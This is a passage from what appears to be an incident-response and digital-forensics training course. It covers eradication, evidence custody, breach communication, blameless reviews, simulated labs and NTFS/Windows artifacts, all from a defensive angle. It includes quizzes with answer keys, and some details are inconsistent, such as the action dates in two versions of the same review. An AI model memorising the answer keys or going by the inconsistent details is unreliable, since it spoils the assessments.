For any system where you cannot prove cleanliness, rebuild from a known-good image and reinstall applications, then restore data, not executables, from backups taken before the compromise date. Verify that backups are clean and not themselves encrypted or infected; test restoration in a separate segment first. Apply hardening during rebuild rather than recreating the old weak configuration. Recover in stages, beginning with the most critical services, and validate each with the business owner before returning it to production.

Monitoring after restore

Recovery is not the end. Place heightened monitoring on restored systems, the accounts involved and the indicators from the case, for weeks. Watch for beaconing, new persistence, unusual logons and any reuse of the same infrastructure. Define the exit criteria in advance, for example 30 days without related alerts. Communicate the status to system owners and decide when the incident can be formally closed. Keep detections created during the case in production, since attackers often retry after a quiet period.

Eradication needs a verification step. After removal, re-query every persistence location, scan the host with updated signatures, and watch EDR telemetry for the previously seen behavior for a defined period. Compare the host to the golden image where possible. If any doubt remains about integrity, such as evidence of kernel-level tampering or domain-controller compromise, choose rebuild. For Active Directory compromises, plan a full credential reset, including privileged accounts and trust relationships, rather than piecemeal fixes.

TERMINAL OUTPUT

```
C:\> schtasks /query /fo LIST /v | findstr /i "TaskName Run"
TaskName: \Microsoft\Windows\UpdateCheck
Task To Run: C:\Users\Public\svc32.exe
C:\> sc query type= service state= all | findstr /i svc32
SERVICE_NAME: SvcUpdater32
```

WORKED EXAMPLE

Responders find a scheduled task and a service on HOST-07 both launching C:\Users\Public\svc32.exe. They delete both, remove the file, and search the fleet for the same hash and task name, finding one more host. The VPN appliance patched last week had been exploited before patching, so they also reset all VPN-visible credentials. HOST-07 is rebuilt from the golden image and returned after a week of added monitoring.

KEY TERMS

Persistence: Mechanism that lets an attacker keep access across reboots or logoffs.

Root cause: The underlying weakness that allowed the incident.

Golden image: A trusted, hardened, known-good system build.

Rebuild: Reinstalling a system from clean media instead of cleaning it in place.

Exit criteria: Predefined conditions for declaring the incident resolved.

REMEMBER

- Hunt persistence everywhere, not just on the first host.
- Fix the root cause and reset exposed credentials.
- Rebuild from known-good, restore clean data, monitor.

QUICK CHECK

1. Eradication should include:

- A) Only deleting malware files
- B) Removing persistence and fixing root cause
- C) Rebooting
- D) Changing the wallpaper

2. Where should restored data come from?

- A) Backups taken before the compromise
- B) Any recent copy
- C) The attacker's server
- D) Memory dumps

3. Why rebuild instead of clean in place?

- A) It is cheaper
- B) You cannot prove a cleaned system is clean
- C) It is faster always
- D) Required by law

4. After restore you should:

- A) Stop monitoring
- B) Monitor closely for reuse of indicators
- C) Delete logs
- D) Close all alerts

Answers: 1-B 2-A 3-B 4-B

1. Both footholds and entry points must be closed.
2. Backups must predate the compromise and be verified clean.
3. Unknown persistence may remain.
4. Attackers often return.

Evidence handling

Evidence decides whether you can explain what happened, defend decisions and support legal action. Poor handling destroys it.

Order of volatility

Collect the most volatile data first, because it disappears soonest. RFC 3227 gives the order: CPU registers and cache; routing table, ARP cache, process table, kernel statistics and memory; temporary file systems; disk; remote logging and monitoring data; physical configuration and network topology; and archival media. In practice for a live host: capture memory, then network connections and process lists, then logged-on users, then volatile logs, then a disk image. Every action on a live system changes it, so keep actions few, scripted and documented.

Documentation: who, what, when

For every item record who collected it, what it is (host name, serial number, source path), when it was collected with time zone, how it was collected (tool and version, command), and where it is stored. Photograph hardware and labels. Note system clock offset against a trusted source. Recording the commands you typed on the live system is as important as the output, so that others can distinguish your changes from the attacker's.

Hashing and integrity

Create a forensic copy and verify it: compute SHA-256 of the source and the image and compare. Work on copies, and keep the original sealed. Record hashes in the case notes, and recompute them whenever the item moves. If a hash later differs, the item's reliability is in question. Store evidence in access-controlled, write-protected locations, and for physical media use sealed bags with tamper-evident tape.

Chain of custody

Chain of custody is a log showing every person who held an item, when, and why, from collection to disposal. Each transfer is signed by both parties. It lets you demonstrate the item has not been altered, which matters for HR actions, regulators and courts. Limit access, avoid unnecessary handling and never leave evidence unattended. If law enforcement involvement is likely, consult legal counsel before collecting, as improper collection could make evidence inadmissible or violate privacy law.

Storage and retention deserve a policy. Evidence from an incident may be needed months later for litigation, insurance claims or regulator questions, so define retention periods that match legal advice and keep the case notes, hashes and custody logs with the artifacts. Restrict access to those who need it, and log each access. When the retention period ends, dispose of the data using approved methods and record the disposal, keeping the chain of custody complete from start to finish.

CUSTODY RECORD

```
Item: EV-007 Memory image HOST-07.raw
Collected: 2026-10-03 02:41 UTC by A. Rivera Tool: winpmem 4.0
SHA-256: 4a1f...c09e
Transfers:
03:05 Rivera -> Chen (to forensic workstation) signed
09:30 Chen -> Evidence locker L2 signed
```

WORKED EXAMPLE

A suspicious host is still running. The responder first captures memory with a trusted tool from a clean USB drive, then saves the process list and network connections to the external drive, records the commands used, and hashes the outputs. The disk is imaged next with a verified hash. Each item gets a custody entry and is stored in the evidence locker, ready for later analysis or potential legal use.

KEY TERMS

Volatility order: The sequence for collecting data from the most to least short-lived.

Chain of custody: A record of who handled evidence and when.

Forensic image: A bit-for-bit copy of storage media.

Hash verification: Comparing digests to prove a copy is unchanged.

Tamper-evident seal: A bag or tape that shows if evidence was opened.

REMEMBER

- Collect most volatile data first.
- Record who, what, when and how, and hash everything.
- Maintain a signed chain of custody.

QUICK CHECK

1. Which data is most volatile?

- A) Disk contents
- B) Memory
- C) Backups
- D) Archive tapes

2. Why hash an image?

- A) To prove integrity
- B) To shrink it
- C) To encrypt it
- D) To rename it

3. Chain of custody records:

- A) Only the file name
- B) Each handler, time and purpose
- C) The attacker's name
- D) Disk speed

4. On a live host you should record:

- A) Only the output
- B) Commands you ran and times
- C) Nothing
- D) Only screenshots

Answers: 1-B 2-A 3-B 4-B

1. Memory vanishes on power loss.
2. Matching hashes show the copy is unchanged.
3. It documents every transfer.
4. Your actions alter the system and must be documented.

Communication and escalation

Technical work fails without coordination. Clear, timely and controlled communication limits legal, financial and reputational harm.

Who needs to know and when

Define escalation in advance. Common recipients are the IR lead, CISO, IT and system owners, legal counsel, privacy officer, human resources for insider cases, executive management, communications or public relations, the cyber insurer and, when required, regulators and law enforcement. Tie notifications to severity: a Sev 1 may require executive notice within an hour. Use short, factual updates on a schedule, such as every two hours, with sections for status, impact, actions taken, next steps and decisions required.

Legal and regulatory clocks

Many regimes impose deadlines. For example, GDPR requires notification of a personal data breach to the supervisory authority without undue delay and where feasible within 72 hours of becoming aware; the EU NIS2 directive adds early warning within 24 hours for significant incidents; US public companies must disclose material cybersecurity incidents on Form 8-K within four business days of determining materiality; HIPAA breach rules and state laws set their own timelines. Counsel decides what is reportable. The IR team supplies accurate facts and times, and records when awareness began.

Need-to-know and secure channels

Limit information to people who need it. Assume the attacker may monitor email and chat on a compromised environment, so use out-of-band channels such as a phone bridge or a separate, clean collaboration tenant, with a call list stored offline. Mark documents with handling labels, keep the incident name neutral, and do not speculate in writing. Involve counsel early, because communications under attorney direction may be privileged. Avoid putting unverified attribution or blame in tickets.

External messages

Customers, partners and the press require carefully prepared statements that are accurate, avoid speculation and are approved by legal and communications. Designate a single spokesperson. Share indicators with trusted peers and sector sharing groups such as an ISAC when appropriate and approved. If law enforcement is engaged, coordinate on timing. Internally, tell employees what to do, such as reset passwords or report phishing, in plain language. After the incident, send a closing summary to all stakeholders that records final impact and actions.

Practice the messages before you need them. Maintain templates for executive updates, employee notices, customer notices and regulator notices, reviewed by counsel in advance, with placeholders for facts. Also maintain a contact sheet with phone numbers for each role and a backup for each person. During long incidents rotate staff so that fatigue does not cause errors, and hand over with a written briefing that includes current status, open decisions and what has already been tried.

STATUS UPDATE TEMPLATE

```
INCIDENT 2026-041 Sev 2 Update #3 15:00 UTC
Status: contained, eradication in progress
Impact: 2 file servers offline, no confirmed data loss
Actions: hosts isolated, VPN creds reset, IOCs blocked
Next: forensic review, backup test at 18:00
Decisions needed: approve overnight rebuild of FS-02
```

WORKED EXAMPLE

Within two hours of confirming data exfiltration, the incident commander informs the CISO and legal counsel by phone bridge. Counsel starts the regulatory assessment and notes that awareness began at 14:10 UTC, which sets the 72-hour clock. The communications lead drafts a holding statement, and IT receives need-to-know instructions. Updates go out every two hours using the template, with no speculation about attackers in written messages.

KEY TERMS

Escalation path: The defined chain of people to notify as severity rises.

Need-to-know: Sharing information only with those who require it.

Holding statement: A short approved message used until facts are confirmed.

Notification clock: A legal deadline starting when the organization becomes aware.

ISAC: An information sharing and analysis center for a sector.

REMEMBER

- Predefine escalation tied to severity.
- Know legal clocks and let counsel decide reporting.
- Use need-to-know and out-of-band channels.

QUICK CHECK

1. Why use out-of-band communication?
 - A) The attacker may monitor normal channels
 - B) It is faster
 - C) Auditors require it
 - D) It is free
2. GDPR breach notification to authorities is generally within:
 - A) 24 hours
 - B) 72 hours
 - C) 30 days
 - D) 1 year
3. Who decides whether an incident is legally reportable?
 - A) Legal counsel
 - B) The analyst
 - C) The attacker
 - D) The vendor
4. A good status update contains:
 - A) Speculation about attackers
 - B) Status, impact, actions, next steps and decisions
 - C) Passwords
 - D) Only a log dump

Answers: 1-A 2-B 3-A 4-B

1. A compromised network cannot be trusted.
2. The standard is 72 hours where feasible.
3. Counsel makes the call using IR facts.
4. Concise structured facts help leaders decide.

Post-incident review and playbooks

Reviews turn pain into improvement. Without them the same failure repeats, and your detections and playbooks stay out of date.

The blameless review

Hold a lessons-learned meeting within about one to two weeks of closing the incident, while memories are fresh. A blameless format focuses on how systems, processes and information allowed the event, not on who erred. People who fear blame hide facts. Invite responders, system owners, and management. Use an agenda: what happened, what went well, what did not, what we were lucky about, and what we change. Assign a facilitator who is not the incident commander to keep discussion balanced.

Timeline and root cause

Reconstruct a precise timeline: first malicious activity, detection, triage, escalation, containment, eradication and recovery, with timestamps in UTC. Compute metrics such as dwell time, time to detect, time to contain and time to recover. Perform root-cause analysis with techniques like the five whys: the attacker got in through an unpatched VPN; patches were delayed because ownership was unclear; ownership was unclear because inventory lacked owners. The deepest actionable cause is where corrective action lands, rather than stopping at 'user clicked a link'.

Corrective actions

Convert findings into specific actions with an owner, a due date and a measure of success. Examples: deploy process creation logging with command line to all servers by 31 October; add a detection for T1003.001; update the escalation list; shorten VPN patch SLA to 72 hours; run a tabletop on ransomware next quarter. Track actions in the same system as other work and report progress to leadership. Reviews with no tracked actions are theater.

Playbooks and detection updates

A playbook is a step-by-step procedure for a common incident type, such as phishing, ransomware, compromised account or web shell. It lists triggers, decision points, containment options, evidence to collect, notification triggers and closure criteria. Update playbooks after each incident, and consider automation for repeatable steps in SOAR tools, keeping human approval for disruptive actions. Add new detections for observed techniques and test them. Maintain metrics over time to show whether the program is getting faster and more effective.

Measure the program over time. Useful metrics include mean time to detect, mean time to contain, mean time to recover, percentage of incidents closed with documented root cause, and percentage of corrective actions completed on time. Review them quarterly with leadership, and compare to previous periods rather than to arbitrary targets. Share anonymized lessons across the wider IT organization, since many fixes, such as patching owners and logging standards, sit outside the security team.

REVIEW SUMMARY

Incident 2026-041 Root cause: unpatched VPN (CVE pending), no owner
Dwell time: 6 days Time to contain: 3h 20m
Went well: EDR isolation in 4 min
Gaps: no cmdline logging on servers; slow backup test
Actions: A1 logging (IT, 10/31); A2 VPN SLA 72h (SecOps, 10/15); A3 ransomware tabletop (IR, Q1)

WORKED EXAMPLE

After a contained intrusion, the team meets and builds a UTC timeline showing six days between initial access and detection. Using the five whys they trace the cause to a VPN appliance with no clear patch owner. They list three corrective actions with owners and dates, add a detection for the credential dumping that went unseen, and revise the ransomware playbook to include a backup restore test in the first hour.

KEY TERMS

Blameless review: A lessons-learned practice focused on systems, not individual fault.

Dwell time: The time an attacker remains undetected in an environment.

Root-cause analysis: A method to find the underlying reason for a failure.

Playbook: A step-by-step procedure for a specific incident type.

SOAR: Security orchestration, automation and response tooling.

REMEMBER

- Hold a blameless review soon after closure.
- Build a UTC timeline and find root cause.
- Track corrective actions and update playbooks and detections.

QUICK CHECK

1. A blameless review focuses on:
 - A) Who made the mistake
 - B) How processes and systems allowed the event
 - C) The attacker's identity
 - D) Reducing meetings
2. Dwell time is:
 - A) Time attackers remain undetected
 - B) Time to restore
 - C) Meeting length
 - D) Backup duration
3. A good corrective action has:
 - A) An owner, due date and measure
 - B) A vague goal
 - C) No deadline
 - D) Only a title
4. After an incident, playbooks should be:
 - A) Ignored
 - B) Updated with lessons learned
 - C) Deleted
 - D) Kept secret from analysts

Answers: 1-B 2-A 3-A 4-B

1. It encourages candor and system fixes.
2. It measures how long the attacker was present.
3. Specifics make follow-through possible.
4. Improvement is the purpose of the review.

Classify the incident

SCENARIO

Four fictional events arrive at the SOC of example.com in one hour. You must label each by type and severity using the matrix and choose the matching playbook, so that the right people are paged and no event is under- or over-escalated. The queue is busy and leadership expects each case to be paged correctly, so base your choice on impact, scope and whether spread is active.

OBJECTIVE

Assign type and severity for four events and select the playbook.

STEPS IN THE SIMULATOR

- 1 **Do:** Event 1: user reports a phishing email, no click

Simulator shows:

Type: phishing attempt. Sev 4. Playbook: Phishing.

- 2 **Do:** Event 2: EDR shows ransomware encrypting FS-02

Simulator shows:

Type: malware/ransomware. Sev 1. Playbook: Ransomware.

- 3 **Do:** Event 3: impossible-travel sign-in for a finance user, MFA approved

Simulator shows:

Type: compromised account. Sev 2. Playbook: Account Compromise.

- 4 **Do:** Event 4: new file shell.aspx on web server 203.0.113.50

Simulator shows:

Type: web compromise. Sev 2. Playbook: Web Shell.

- 5 **Do:** Review pages sent

Simulator shows:

Sev 1 paged: CISO, legal. Sev 2 paged: IR lead.

- 6 **Do:** Submit classification

Simulator shows:

Score 4/4. Classification accepted.

ANSWER

Event 1 is phishing, Sev 4; Event 2 is ransomware, Sev 1; Event 3 is account compromise, Sev 2; Event 4 is web compromise, Sev 2. Each is paired with its own playbook, with Sev 1 triggering executive and legal notification.

Hint shown in the app: Judge impact on critical systems and whether spread is active.

Contain the outbreak

SCENARIO

Ransomware is spreading from user VLAN 192.0.2.0/24 to file servers. Backup server BK-01 and the ERP system are still healthy, and the finance close happens tonight. Choose containment steps that stop spread while keeping critical services running as far as possible. Several stakeholders are asking for immediate action, so compare each option against business impact and evidence preservation before you commit.

OBJECTIVE

Select containment steps weighing impact on critical services.

STEPS IN THE SIMULATOR

1 Do: Isolate infected hosts with EDR

Simulator shows:

Isolated 11 hosts. Encryption events on user VLAN stop.

2 Do: Deny SMB 445 from user VLAN to server VLAN

Simulator shows:

Rule applied. 3 file servers no longer reachable by infected hosts.

3 Do: Disable the compromised service account svc-backup

Simulator shows:

Disabled. Backup jobs paused; BK-01 protected.

4 Do: Option: shut down the ERP server

Simulator shows:

Warning: finance close blocked, no evidence of infection. Step rejected.

5 Do: Option: power off infected hosts

Simulator shows:

Warning: memory evidence lost. Step rejected in favor of isolation.

6 Do: Verify containment

Simulator shows:

No new encryption in 20 min. Next: scope and eradication.

ANSWER

Best actions: EDR-isolate infected hosts, block SMB between segments, disable the compromised service account and protect backups. Do not shut down healthy ERP or power off hosts, since that harms the business and destroys evidence.

Hint shown in the app: Stop spread and protect crown jewels without taking healthy services down.

Eradicate persistence

SCENARIO

You have a fictional sandbox Windows host HOST-07 that was infected. A containment is in place and evidence has been collected. You must find and remove a rogue scheduled task and service, then verify the clean state before the host returns to the rebuild queue. Containment and evidence capture are complete. Your task is only to find and remove the attacker's footholds on this one host and prove the result with the same queries.

OBJECTIVE

Find and remove a rogue task and service and verify clean state.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: `schtasks /query /fo LIST /v`

Simulator shows:

TaskName: \UpdateCheck Task To Run: C:\Users\Public\svc32.exe Author: HOST-07\user1

- 2 **Do:** Run: `sc query type= service state= all | findstr svc`

Simulator shows:

SERVICE_NAME: SvcUpdater32 DISPLAY_NAME: Update Service 32

- 3 **Do:** Run: `sc qc SvcUpdater32`

Simulator shows:

BINARY_PATH_NAME: C:\Users\Public\svc32.exe

- 4 **Do:** Run: `schtasks /delete /tn \UpdateCheck /f`

Simulator shows:

SUCCESS: The scheduled task was successfully deleted.

- 5 **Do:** Run: `sc stop SvcUpdater32 && sc delete SvcUpdater32`

Simulator shows:

SERVICE_STOP; [SC] DeleteService SUCCESS

- 6 **Do:** Run: `del C:\Users\Public\svc32.exe`

Simulator shows:

File deleted.

- 7 **Do:** Re-run the three queries

Simulator shows:

No matches. Clean state verified.

ANSWER

The rogue task \UpdateCheck and the service SvcUpdater32 both launched C:\Users\Public\svc32.exe. After removing both and the file, queries return nothing. Next, hunt for the same hash and names fleet-wide, and rebuild the host.

Hint shown in the app: Look at what path each persistence entry runs and compare them.

Evidence collection order

SCENARIO

A suspect fictional laptop is still powered on and connected. You must decide which data sources to collect first, dragging them into the volatility order, and for each item record chain of custody details including time, collector and hash. The device is powered on and holding a running session. Think about what disappears soonest, and write down each custody detail as though it will be examined by counsel.

OBJECTIVE

Order data sources by volatility and record custody entries.

STEPS IN THE SIMULATOR

- 1 **Do:** Drag 'Memory' into position 1

Simulator shows:

Accepted. Capture with winpmem; hash recorded.

- 2 **Do:** Drag 'Network connections and ARP cache' to 2

Simulator shows:

Accepted. Saved netstat output; hash recorded.

- 3 **Do:** Drag 'Running processes' to 3

Simulator shows:

Accepted. Saved process list.

- 4 **Do:** Drag 'Temporary files' to 4

Simulator shows:

Accepted.

- 5 **Do:** Drag 'Disk image' to 5

Simulator shows:

Accepted. SHA-256 computed for source and image; match.

- 6 **Do:** Drag 'Remote logs' to 6 and 'Archive backups' to 7

Simulator shows:

Accepted. Order complete.

- 7 **Do:** Record custody entry for EV-001

Simulator shows:

Entry saved: collector, time UTC, hash, storage location.

ANSWER

The order is memory, network state, running processes, temporary files, disk image, remote logs, and archival backups. Each item gets a custody entry with collector, time in UTC, tool, SHA-256 and storage location.

Hint shown in the app: The less time something survives, the sooner you collect it.

Write the lessons learned

SCENARIO

An incident has been closed after a six-day dwell. Your manager joins a chat to help you draft the blameless post-incident review. You need a timeline, a root cause that goes deeper than 'user error', and three specific corrective actions with owners and dates. The review meeting is tomorrow, so the draft should be factual and in UTC, avoid naming individuals as the cause, and end with measurable actions that people can own.

OBJECTIVE

Draft a blameless review with timeline, root cause and three actions.

STEPS IN THE SIMULATOR

- 1 **Do:** Ask manager for the timeline facts

Simulator shows:

Manager: 'Access 09-27, detection 10-03, contained 10-03, recovered 10-05.'

- 2 **Do:** Write: dwell time 6 days

Simulator shows:

Manager: 'Good. Root cause?'

- 3 **Do:** Write: unpatched VPN, no patch owner

Simulator shows:

Manager: 'Better than blaming the user. Why no owner?'

- 4 **Do:** Write: asset inventory lacked owners

Simulator shows:

Manager: 'That is the actionable cause. Actions?'

- 5 **Do:** Propose three actions with owners and dates

Simulator shows:

Manager: 'Logging, VPN SLA, tabletop. Make sure each has a measure.'

- 6 **Do:** Submit review

Simulator shows:

Review accepted: blameless tone, timeline complete, three SMART actions.

ANSWER

Timeline: access 27 Sep, detection 3 Oct, contained same day, recovered 5 Oct, six-day dwell. Root cause: unpatched VPN appliance with no owner. Actions: owner field in inventory (IT, 31 Oct), 72-hour VPN patch SLA (SecOps), command line logging on servers (IT, 15 Oct).

Hint shown in the app: Ask 'why' repeatedly until you reach a process or system cause.

Incident Response: 10 questions, 80% to pass

1. NIST SP 800-61 Rev 2 phase that includes eradication:

- A) Preparation
- B) Detection and Analysis
- C) Containment, Eradication and Recovery
- D) Post-Incident Activity

2. SANS PICERL has how many steps?

- A) 4
- B) 5
- C) 6
- D) 8

3. Short-term containment example:

- A) Rebuilding a server
- B) EDR isolation of a host
- C) Writing a playbook
- D) Holding a review

4. Why prefer isolating a host over powering it off?

- A) It keeps memory evidence
- B) It is slower
- C) It deletes malware
- D) It saves money

5. Which is the most volatile?

- A) Disk
- B) Memory
- C) Archive tape
- D) Printed log

6. Chain of custody shows:

- A) Who handled evidence, when and why
- B) Attack path
- C) Firewall rules
- D) Backup dates

7. Eradication must include:

- A) Persistence removal and root cause fix
- B) Only a reboot
- C) Deleting logs
- D) Skipping patches

8. Restored data should come from:

- A) Backups taken before compromise
- B) Attacker files
- C) Any copy
- D) Memory

9. A blameless review is mainly about:

- A) Systems and processes
- B) Individual fault
- C) Legal blame
- D) Vendor selection

10. GDPR breach notification period is generally:

- A) 24 hours
- B) 72 hours
- C) 7 days
- D) 90 days

Answers: 1-C 2-C 3-B 4-A 5-B 6-A 7-A 8-A 9-A 10-B

1. These three are grouped in one phase.
2. Preparation to Lessons Learned is six steps.
3. Isolation is immediate.
4. Volatile data survives.
5. Memory is lost first.
6. It documents each handler and transfer.
7. Both are required to prevent return.
8. Pre-compromise verified backups.
9. It improves learning and candor.
10. 72 hours where feasible.

Digital Forensics Essentials

Advanced | 6 lessons | 4 simulated labs | checkpoint | about 5h 20m

Digital forensics reconstructs what happened on a system using evidence that must stand up to scrutiny. This module covers forensic principles and chain of custody, disk acquisition and NTFS structures, key Windows artifacts, timeline building, memory forensics with Volatility plugins, and Autopsy with defensible reporting. You will learn how to preserve evidence, correlate artifacts, avoid overstating conclusions and present findings that others can verify and repeat.

BY THE END YOU CAN

- + Explain disk and memory forensics workflows
- + Build timelines from filesystem and log artifacts
- + Maintain chain of custody and use Autopsy and Volatility concepts

IN THIS MODULE

Lesson 1 Forensic principles and chain of custody

Lesson 2 Disk acquisition and file systems

Lesson 3 Windows artifacts

Lesson 4 Timeline analysis

Lesson 5 Memory forensics with Volatility

Lesson 6 Autopsy and reporting

Lab 1 Verify the image (Terminal)

Lab 2 Build a timeline (Log viewer)

Lab 3 Volatility triage (Terminal)

Lab 4 Autopsy keyword search (File explorer)

Checkpoint 10 questions, 80% to pass

Forensic principles and chain of custody

Forensics is evidence science. Methods that preserve integrity and document every step decide whether findings are trusted.

Core principles

Digital forensics is the identification, preservation, analysis and presentation of digital evidence. Its guiding principles are: do not change the original evidence, work on verified copies, document everything, and make results reproducible by another competent examiner. The examiner distinguishes facts (a file with this hash existed at this path) from interpretation (the user intended to steal data). Define the question first, such as 'was data copied to a USB drive between 14:00 and 15:00?', because an unfocused search wastes time and may overreach legal authority or privacy limits.

Order of volatility and live versus dead

The order of volatility says to capture short-lived data first: memory, network connections and process lists, then disk, then logs and backups. A live acquisition changes the system, so it is justified when the evidence would be lost otherwise, for example memory containing encryption keys or malware that never touches disk. A dead acquisition powers the system off and images the storage, which is cleaner but loses volatile data and, with full-disk encryption, may lose access to the data. Choose deliberately and record why.

Write blockers and hashing

A write blocker, hardware or software, lets you read a drive while preventing any writes, so mounting it cannot alter timestamps or contents. Always connect evidence drives through a write blocker. Compute a cryptographic hash, usually SHA-256, of the source and of the image; matching values prove an exact copy. Record the hash in the notes and re-verify before analysis and at handoff. Work on a copy of the image, and keep the master untouched in storage. A mismatch means the evidence integrity is in doubt and must be investigated and disclosed.

Documentation and admissibility

Keep contemporaneous notes with times, names, device identifiers, serial numbers, tools and versions, commands and results. Maintain a chain of custody listing every transfer with signatures. For court or HR proceedings, the evidence must be relevant, authentic and obtained lawfully, so confirm authority, such as a policy consent or a warrant, with counsel before collecting. Rules differ by country, so this book describes the general approach. Using accepted tools and methods and being able to explain them under questioning supports admissibility.

Define the scope before touching data. A written scope statement lists the systems, the date range, the questions and the legal basis. It protects privacy by preventing browsing of unrelated personal content, and it keeps the investigation focused. If you come across material outside the scope, such as illegal content or privileged communications, stop and consult counsel rather than continuing. Good practice includes peer review of notes so another examiner could repeat the process and reach the same findings.

CUSTODY AND HASH RECORD

```
Case: 2026-FX-014 Item: EV-001 (500 GB SSD, S/N 8Q2X-4417)
Source hash SHA-256: 91ce...a07b
Image hash SHA-256: 91ce...a07b MATCH
Acquired: 2026-10-03 11:20 UTC via hardware write blocker WB-2
Custody: Rivera -> Chen (11:55, signed) -> Locker L2 (12:10, signed)
```

WORKED EXAMPLE

An employee is suspected of copying files before resigning. The examiner records the laptop's serial number, photographs it, and finds it powered off. Using a write blocker she images the SSD, matches the source and image SHA-256, seals the original in a tamper-evident bag, and completes custody entries. She works only from the copy, with a written question: which files were copied to external storage on 1 October?

KEY TERMS

Chain of custody: A signed record of every person who handled evidence.

Write blocker: A device or software that prevents writes to evidence media.

Live acquisition: Collecting data from a running system.

Admissibility: Whether evidence may be accepted in a legal or formal proceeding.

Fact versus opinion: Observed data versus the examiner's interpretation of it.

REMEMBER

- Preserve, copy, hash, document, reproduce.
- Use write blockers and verify hashes.
- Confirm legal authority and keep the chain of custody.

QUICK CHECK

1. A write blocker prevents:

- A) Reads
- B) Writes to evidence media
- C) Hashing
- D) Imaging

2. Matching source and image hashes show:

- A) The copy is exact
- B) The disk is clean
- C) The user is guilty
- D) The files are encrypted

3. When is live acquisition justified?

- A) Never
- B) When volatile evidence would otherwise be lost
- C) Always
- D) Only on servers

4. Which is a fact rather than an opinion?

- A) The user intended theft
- B) A file with hash X existed at path Y
- C) The attacker was skilled
- D) The file was important

Answers: 1-B 2-A 3-B 4-B

1. It protects the original from modification.
2. Equal digests prove an exact copy.
3. Memory and connections vanish at shutdown.
4. Facts are observable and verifiable.

Disk acquisition and file systems

Everything on disk analysis starts with a correct image and an understanding of how the file system records files, times and deletions.

Creating a forensic image

A forensic image is a bit-for-bit copy of a drive, including unallocated space and slack space, not a file copy. Tools include dd, dc3dd, ewf_acquire and FTK Imager. A raw image is created with a command like `dc3dd if=/dev/sdb of=evidence.dd hash=sha256 log=acq.log`, with the source attached through a write blocker. The E01 format from the Expert Witness family compresses and stores metadata and hashes. Record the tool and version, start and end time, and drive details. After acquisition verify that the image hash equals the source hash.

Partitions and file systems

Images contain partition tables, MBR or GPT, then volumes formatted with file systems such as NTFS (Windows), ext4 (Linux), APFS (macOS) and FAT32 or exFAT (removable media). Tools like `mmls` list partitions and `fls` lists files. Examiners also encounter encryption such as BitLocker, requiring recovery keys or memory-derived keys. Unallocated space may hold deleted data that can be carved by file signatures, though carved files lose names and timestamps. Slack space is the unused tail of the last cluster of a file and may contain remnants.

NTFS structures

NTFS stores metadata in the Master File Table, \$MFT, where each file or folder has a record, typically 1024 bytes. Records hold attributes: \$STANDARD_INFORMATION with the four timestamps (created, modified, MFT changed, accessed) and \$FILE_NAME with its own set. Small files can be resident, their data stored inside the record. Deleted files have their MFT record flagged unallocated, but the entry may persist until reused. Alternate data streams can hide content under a file name. Timestamp manipulation, called *timestomping*, often changes \$STANDARD_INFORMATION but not \$FILE_NAME, so comparing the two can expose it.

\$UsnJrnl and \$LogFile

The NTFS change journal, \$UsnJrnl and its \$J stream, records changes to files and folders: creation, rename, deletion, data overwrite, with a timestamp and reason flags. It is valuable even when the file is gone, since it can show that `archive.zip` was created, then deleted. \$LogFile is a transaction log that keeps recent low-level operations for recovery. Tools such as `MFTECmd` from Eric Zimmerman's tool set parse the \$MFT and \$J into CSV for review. Journals have limited size and wrap around, so act promptly.

TERMINAL OUTPUT

```
$ dc3dd if=/dev/sdb of=evidence.dd hash=sha256 log=acq.log
input hash: sha256 91ce...a07b
output hash: sha256 91ce...a07b
$ mmls evidence.dd
002: 0000002048 0001000000 NTFS (0x07)
$ MFTECmd.exe -f $MFT --csv out
Processed 412,883 records
```

WORKED EXAMPLE

A drive is imaged through a write blocker. `mmls` shows an NTFS partition, and the examiner parses the \$MFT and \$J. The change journal shows that `archive_q3.zip` was created at 14:07 UTC, renamed, and deleted at 14:31, even though the file is no longer visible in the file listing. This confirms staging activity and guides the search for the file's remnants and any transfers.

KEY TERMS

Forensic image: A bit-for-bit copy of storage including unallocated space.

\$MFT: The NTFS table holding a record for each file and folder.

\$UsnJrnl: The NTFS change journal recording file operations.

Timestomping: Altering file timestamps to hide activity.

File carving: Recovering files from raw data using signatures.

REMEMBER

- Image bit-for-bit and verify the hash.
- NTFS keeps timestamps in the MFT with two attribute sets.
- The change journal shows activity even after deletion.

QUICK CHECK

1. A forensic image differs from a file copy because it:
 - A) Copies unallocated space too
 - B) Is smaller
 - C) Skips deleted data
 - D) Is unverifiable
2. Which NTFS structure stores a record for each file?
 - A) \$MFT
 - B) \$Boot
 - C) GPT
 - D) FAT
3. The \$UsnJrnl is useful because it:
 - A) Records changes including deleted files
 - B) Encrypts files
 - C) Removes malware
 - D) Stores passwords
4. Timestamping is often detected by comparing:
 - A) \$STANDARD_INFORMATION and \$FILE_NAME times
 - B) File size
 - C) CPU model
 - D) Hostnames

Answers: 1-A 2-A 3-A 4-A

1. It captures everything, including free space.
2. The Master File Table holds file records.
3. It logs creates, renames and deletes.
4. The attributes often disagree after manipulation.

Windows artifacts

Windows leaves traces of program execution, file access and user activity. Knowing each artifact's meaning and limits prevents wrong conclusions.

Evidence of execution

Prefetch files, stored in C:\Windows\Prefetch as NAME-HASH.pf, record that an executable ran, the run count, the last run times (up to eight on recent Windows) and files loaded. Prefetch may be disabled on some systems, and servers often lack it. Amcache.hve under C:\Windows\appcompat\Programs records executables with their paths, SHA-1 hashes and first-seen times, helpful for identifying unknown programs. Shimcache, also called AppCompatCache, in the SYSTEM hive lists file paths and modification times; on modern systems its presence shows the file was present or examined, and does not by itself prove execution.

User activity

LNK shortcut files in the Recent folder are created when a user opens a file; they store the target path, the target's timestamps, size and volume serial number, including for files on USB drives that no longer exist. Jump lists (AutomaticDestinations) record recent files per application. Browser history, such as the Chrome History SQLite database under AppData\Local\Google\Chrome\User Data\Default, holds visited URLs, downloads with target paths and search terms with timestamps. ShellBags record folders a user browsed, and UserAssist records GUI program launches with counts.

Registry hives

The registry is stored in hive files. System hives live in C:\Windows\System32\config: SYSTEM, SOFTWARE, SAM and SECURITY; each user has NTUSER.DAT in the profile and UsrClass.dat. Useful keys include Run and RunOnce for persistence, USBSTOR for connected USB devices with serial numbers and first and last connection times, MRU lists, network profiles and installed software. Tools such as RegRipper, Registry Explorer and RECcmd parse them. Registry key last-write times show when a key changed, not necessarily which value did.

Correlating artifacts

